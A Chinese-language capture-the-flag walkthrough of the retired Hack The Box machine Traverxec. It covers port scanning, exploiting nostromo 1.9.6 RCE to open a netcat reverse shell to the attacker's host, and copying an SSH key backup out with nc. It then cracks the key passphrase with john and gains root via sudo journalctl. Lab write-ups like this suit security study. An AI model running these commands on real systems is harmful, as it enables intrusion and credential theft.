本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关
靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.165
本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描
masscan -p1-65535 10.10.10.165 --rate=1000 -e tun0 > ports ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n' ',' | sed 's/,$//') nmap -Pn -sV -sC -p$ports 10.10.10.165
扫描出来版本nostromo 1.9.6存在RCE - 远程代码执行
对应的exploit地址:https://www.exploit-db.com/exploits/47837 wget下载链接:https://www.exploit-db.com/raw/47837 metasploit利用模块 https://www.rapid7.com/db/modules/exploit/multi/http/nostromo_code_exec/
直接反弹shell
python cve2019-16278.py 10.10.10.165 80 "nc -e bash 10.10.14.2 8833" nc -lvnp 8833
升级为tty-shell
拿到低权限后开始查看home,发现有一个用户david,尝试进去,发现没有权限,查看了目录权限,猜测能够有查看的权限,用信息搜集工具搞了一把,发现目标靶机运行的web服务所对于的目录配置文件/var/nostromo/conf 查看了里面的文件内容,发现.htpasswd 但是没啥用处,另外查看到有目录配置信息
# HOMEDIRS [OPTIONAL] homedirs /home homedirs_public public_www 最终发现有备份的私钥信息 www-data@traverxec:/var/nostromo/conf$ ls -la /home/david/public_www total 16 drwxr-xr-x 3 david david 4096 Oct 25 2019 . drwx--x--x 5 david david 4096 Oct 25 2019 .. -rw-r--r-- 1 david david 402 Oct 25 2019 index.html drwxr-xr-x 2 david david 4096 Oct 25 2019 protected-file-area < ls -la /home/david/public_www/protected-file-area/ total 16 drwxr-xr-x 2 david david 4096 Oct 25 2019 . drwxr-xr-x 3 david david 4096 Oct 25 2019 .. -rw-r--r-- 1 david david 45 Oct 25 2019 .htaccess -rw-r--r-- 1 david david 1915 Oct 25 2019 backup-ssh-identity-files.tgz
使用nc的方式将此压缩包传到本地kali kali:nc -lvnp 9933 > backup.tgz 靶机:nc 10.10.14.2 9933 < /home/david/public/protected-file-area/backup-ssh-identity-files.tgz
查看私钥内容发现是加密的,得使用john进行离线密码破解
/usr/share/john/ssh2john.py id_rsa > hash.txt john hash.txt --fork=4 -w=/usr/share/wordlists/rockyou.txt
得到密码
id_rsa:hunter
给这个私钥权限400或者600然后使用ssh成功登录到目标靶机
发现此目录下面有两个文件,其中一个文件是shell脚本,内容如下:
david@traverxec:~/bin$ cat server-stats.sh #!/bin/bash cat /home/david/bin/server-stats.head echo "Load: `/usr/bin/uptime`" echo " " echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`" echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`" echo " " echo "Last 5 journal log lines:" /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat
看了上述代码可用通过journalctl进行提权,具体可参考:
https://gtfobins.github.io/gtfobins/less/ https://gtfobins.github.io/gtfobins/journalctl/
最终提权成功,不过这里需要注意一下,要保证当前连接的shell是tty-shell,简单点理解就是要保证当前终端能出现屏幕卡住,出现end,不然提权不了,这里有以下几种办法 1.使用python生成一个tty-shell python -c 'import pty;pty.spawn("/bin/bash")' 2.在kali的图形界面上登录连接目标靶机 3.执行脚本前先执行stty rows 4 限制shell绕过技术 https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
或者